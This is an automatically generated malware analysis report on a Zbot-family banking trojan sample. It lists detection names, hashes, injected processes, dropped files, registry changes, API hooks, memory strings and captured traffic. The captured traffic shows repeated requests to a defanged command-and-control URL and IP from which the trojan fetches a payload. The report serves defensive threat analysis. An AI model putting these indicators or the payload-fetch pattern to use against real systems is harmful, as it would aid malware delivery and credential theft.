Gen.Variant.Graftor.293252_c65fef57b6

by malwarelabrobot on June 20th, 2017 in Malware Descriptions.

Gen:Variant.Barys.54808 (BitDefender), PWS:Win32/Zbot (Microsoft), Trojan.Win32.Buzus.xxqs (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.PWS.Panda.4795 (DrWeb), Gen:Variant.Barys.54808 (B) (Emsisoft), GenericATG-FCOY!C65FEF57B638 (McAfee), Infostealer.Banker.C (Symantec), Trojan-Spy.Agent (Ikarus), Gen:Variant.Barys.54808 (FSecure), Generic37.BWOC (AVG), Win32:Malware-gen (Avast), TROJ_GEN.R00XC0DHS16 (TrendMicro), Gen:Variant.Graftor.293252 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-Spy, Trojan-PSW, Banker, Trojan, Backdoor, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: c65fef57b63866c797d5938caa145502
SHA1: 4c10245618f9f88db6a37ca9b11cc98e61b8f68d
SHA256: cf8e873e73560718ce05be358fbcd2e5ef234bc95c0c161118aa9e724db388e5
SSDeep: 3072:f5RhSkXX7x1PSOcXdkgYe4dKdBW36yDFPxKqUqrtcrQquoQiM8OD2UB0yUcQ8b9c:f5RhZ/dcXn4MBWF/UqxiBVtoF7u
Size: 229888 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2016-05-31 06:24:21
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan-Spy. Spy program intended for stealing user's confidential data.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

WinMail.exe:2080
%original file name%.exe:2936

The Trojan injects its code into the following process(es):

taskhost.exe:1940
Dwm.exe:2008
Explorer.EXE:2024
conhost.exe:2520

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process WinMail.exe:2080 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore (45792 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Drafts\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.pat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Junk E-mail\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD374.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\edb00002.log (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Sent Items\winmail.fol (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\49FA07CB-00000001.eml (1924 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Deleted Items\winmail.fol (608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Outbox\winmail.fol (560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\winmail.fol (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\tmp.edb (1728 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.log (27176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.chk (300 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735 (558 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.MSMessageStore (99 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735 (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2080_2 (1281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat (400 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (3466 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD375.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\49FA07CB-00000001.eml:OECustomProperty (260 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\WindowsMail.pat (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2080_2.ui (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb00001.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2080_2 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\WindowsMail.MSMessageStore (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD375.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old\edb00001.log (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD374.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\old (0 bytes)

The process %original file name%.exe:2936 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tmp9ee7c816.bat (179 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Koby\azxe.exe (462 bytes)

Registry activity

The process WinMail.exe:2080 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\IdentityCRL\Dynamic Salt]
"Size" = "330"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"Compact Check Count" = "2"
"Settings Upgraded" = "10"

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows Mail\Junk Mail\Block Senders List]
"Version" = "327680"

[HKCU\Identities\{C692FCB0-9162-422E-94A4-4CD072B19CA9}]
"Identity Ordinal" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"LastBackup" = "E1 07 06 00 01 00 13 00 11 00 37 00 24 00 E4 03"
"Running" = "1"
"V7StoreMigDone" = "01 00 00 00"
"StoreMigratedV5" = "1"

[HKCU\Software\Microsoft\Windows Mail\Junk Mail\Safe Senders List]
"Version" = "327680"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Welcome Message" = "0"

[HKCU\Software\Microsoft\Windows Mail]
"SpoolerDlgPos" = "2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF"

[HKCU\Software\Microsoft\IdentityCRL\Dynamic Salt]
"Value" = "01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0"

[HKCU\Identities]
"Identity Ordinal" = "2"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Secure Safe Attachments" = "1"
"Default_CodePage" = "28591"

[HKCU\Software\Microsoft\WAB]
"NamedPropCount" = "1"

[HKCU\Software\Microsoft\IAM\Accounts]
"ConnectionSettingsMigrated" = "1"

[HKCU\Software\Microsoft\Windows Mail]
"SpoolerTack" = "0"

[HKCU\Software\Microsoft\IAM]
"Default News Account" = "account{CE54EE8F-8454-4E11-A69C-0E6F9BED6C0A}.oeaccount"
"Default LDAP Account" = "account{5F33D8D7-3326-4E0C-969F-F201824EF068}.oeaccount"

[HKCU\Software\Microsoft\Windows Mail]
"lastrun" = "65 28 6E 48 25 E9 D2 01"

[HKCU\Software\Microsoft\Windows Mail\Mail]
"Safe Attachments" = "1"

[HKCU\Software\Microsoft\IAM]
"Server ID" = "2"

[HKCU\Software\Microsoft\WAB]
"NamedProps" = "04 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\WAB]
"NamedPropCount"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Identities]
"Changing"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Identities]
"IncomingID"
"OutgoingID"

[HKCU\Software\Microsoft\WAB]
"NamedProps"

Dropped PE files

MD5 File path
9d2fc8153e7cd47aab206f1e0b7f17c9 c:\Users\"%CurrentUserName%"\AppData\Roaming\Koby\azxe.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExW
InternetReadFileExA
InternetQueryDataAvailable
InternetReadFile
HttpQueryInfoA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
ReleaseCapture
SetCapture
GetMessagePos
DefDlgProcW
CallWindowProcA
DefMDIChildProcA
DefFrameProcA
GetUpdateRgn
DefFrameProcW
DefMDIChildProcW
DefDlgProcA
GetClipboardData
GetMessageW
TranslateMessage
PeekMessageW
EndPaint
BeginPaint
GetDC
ReleaseDC
DefWindowProcW
GetWindowDC
GetDCEx
CallWindowProcW
PeekMessageA
GetMessageA
RegisterClassExW
RegisterClassW
RegisterClassA
DefWindowProcA
GetUpdateRect
GetCursorPos
GetCapture
RegisterClassExA
OpenInputDesktop
SwitchDesktop

The Trojan installs the following user-mode hooks in WS2_32.dll:

send
WSASend
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
ZwCreateUserProcess

Propagation

VersionInfo

Company Name:
Product Name:
Product Version: 3.0.0.0
Legal Copyright: (c) Angus Johnson 1999-2002
Legal Trademarks:
Original Filename: ResHack
Internal Name: ResHack
File Version: 3.4.0.79
File Description: Resource viewer
Comments: Freeware, but see help file for conditions.
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.code 4096 4417 4608 1.04813 f4f41263d80db3a47f28e8f8b9930dbd
.text 12288 19466 19968 4.56705 ec5b5c09b69073b71943cc928044be8b
.rdata 32768 553 1024 1.75603 99d60ebc71e30b4ef78acdcfe313de98
.data 36864 146664 145408 5.25704 a89006b1cff9579c2a5b504e3273d48d
.rsrc 184320 57096 57344 4.51114 b9016e608e2a1cb7f7331c581e58dcee

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://www.gkmexico.com/sos/css/bor.bin 158.69.126.3
hxxp://a1363.dscg.akamai.net/pki/crl/products/CodeSignPCA.crl
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon
hxxp://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl 62.140.236.147
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon 172.217.16.110


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:25 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:25 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:42 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:36 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon HTTP/1.1
Cache-Control: max-age = 345600
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: clients1.google.com


HTTP/1.1 404 Not Found
Date: Mon, 19 Jun 2017 17:56:22 GMT
Content-Type: text/html; charset=UTF-8
Server: ocsp_responder
Content-Length: 1668
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
<!DOCTYPE html>.<html lang=en>.  <meta charset=utf-8>
;.  <meta name=viewport content="initial-scale=1, minimum-scale=1, 
width=device-width">.  <title>Error 404 (Not Found)!!1</ti
tle>.  <style>.    *{margin:0;padding:0}html,code{font:15px/2
2px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body
{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px
}* > body{background:url(//VVV.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:h
idden}ins{color:#777;text-decoration:none}a img{border:0}@media screen
 and (max-width:772px){body{background:none;margin-top:0;max-width:non
e;padding-right:0}}#logo{background:url(//VVV.google.com/images/brandi
ng/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:
-5px}@media only screen and (min-resolution:192dpi){#logo{background:u
rl(//VVV.google.com/images/branding/googlelogo/2x/googlelogo_color_150
x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//VVV.googl
e.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}
@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{backgr
ound:url(//VVV.google.com/images/branding/googlelogo/2x/googlelogo_col
or_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{di
splay:inline-block;height:54px;width:150px}.  </style>.  <a h
ref=//VVV.google.com/><span id=logo aria-label=Google></sp
an></a>.  <p><b>404.</b> <ins>Tha
<<< skipped >>>


GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:31 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:48 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:47 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:31 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:42 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..



GET /pki/crl/products/CodeSignPCA.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Length: 558
Content-Type: application/pkix-crl
Last-Modified: Thu, 15 Jun 2017 00:43:44 GMT
ETag: 0x8D4B38793BAF333
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 957643c2-0001-0047-2678-e5981b000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Mon, 19 Jun 2017 17:55:47 GMT
Connection: keep-alive
0..*0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Copyright (c) 20
00 Microsoft Corp.1#0!..U....Microsoft Code Signing PCA..111110211944Z
..420416234935Z.7050...U.#..0...%. K].rT....*.....S.0... .....7.......
..0...*.H...............&..%PIu@.....\0KF....0..^.h9=.1jT,5.L....Ed ..
6.......i.6.xva....oX.^f'....s...!......O...h.1a..Ud);.?....J_...Fu...
.<v.zx..t..h.0JU%.nk;..B[4.?&Zm^..M.!.'...w.u.\T..Tr..Ch.[.z:....#.
..T.4Ct.......,...c..}F..U....:..7J...%.#..D6 . ....G..#....T..G;.....
.HTTP/1.1 200 OK..Content-Length: 558..Content-Type: application/pkix-
crl..Last-Modified: Thu, 15 Jun 2017 00:43:44 GMT..ETag: 0x8D4B38793BA
F333..Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0..x-ms-reque
st-id: 957643c2-0001-0047-2678-e5981b000000..x-ms-version: 2009-09-19.
.x-ms-lease-status: unlocked..x-ms-blob-type: BlockBlob..Date: Mon, 19
 Jun 2017 17:55:47 GMT..Connection: keep-alive..0..*0......0...*.H....
....0..1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....
Microsoft Corporation1 0)..U..."Copyright (c) 2000 Microsoft Corp.1#0!
..U....Microsoft Code Signing PCA..111110211944Z..420416234935Z.7050..
.U.#..0...%. K].rT....*.....S.0... .....7.........0...*.H.............
..&..%PIu@.....\0KF....0..^.h9=.1jT,5.L....Ed ..6.......i.6.xva....oX.
^f'....s...!......O...h.1a..Ud);.?....J_...Fu....<v.zx..t..h.0JU%.n
k;..B[4.?&Zm^..M.!.'...w.u.\T..Tr..Ch.[.z:....#...T.4Ct.......,...c..}
F..U....:..7J...%.#..D6 . ....G..#....T..G;........
<<< skipped >>>


GET /sos/css/bor.bin HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.gkmexico.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Date: Mon, 19 Jun 2017 17:55:36 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
a2..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML&
gt;<HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD>
<BODY>.<H1>Forbidden</H1>.You don't have permission 
to access ..29../sos/css/bor.bin on this server..<HR>.<I>.
.11c..VVV.gkmexico.com</I>.</BODY></HTML>...........
......................................................................
......................................................................
......................................................................
..............................0..

The Trojan connects to the servers at the folowing location(s):

taskhost.exe_1940_rwx_003D0000_00027000:

.text
`.data
.reloc
.wb\-w
PR_OpenTCPSocket
hXXp://VVV.google.com/webhp
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
<;.8("9`%,/
,127!' ./9
5/ -?9/#$
./.-#**:
6 !26!1'1
7"52),,>
, >(3=2;
<7!="?):
&;1"&1!7!1
;1 "?&! ?
c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_
7.>.3; `
1:,0/2$7
?$6 39 ~
HTTP/1.1
hXXp://
hXXps://
HTTP/1.
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
SSShlD=
GetProcessHeap
KERNEL32.dll
ExitWindowsEx
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
GetKeyboardState
MapVirtualKeyW
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
InternetCrackUrlA
HttpOpenRequestA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
>">->3>?>
5S5C5N5Z5
nspr4.dll
cGlobal\XXX
SysShadow
e.dat
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
C:\Users\"%CurrentUserName%"\AppData\Roaming\Icopeg\waetd.kuy
C:\Users\"%CurrentUserName%"\AppData\Roaming\Icopeg
waetd.kuy
Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}
C:\Users\"%CurrentUserName%"\AppData\Roaming
{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Dwm.exe_2008_rwx_004C0000_00027000:

.text
`.data
.reloc
.wb\-w
PR_OpenTCPSocket
hXXp://VVV.google.com/webhp
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
<;.8("9`%,/
,127!' ./9
5/ -?9/#$
./.-#**:
6 !26!1'1
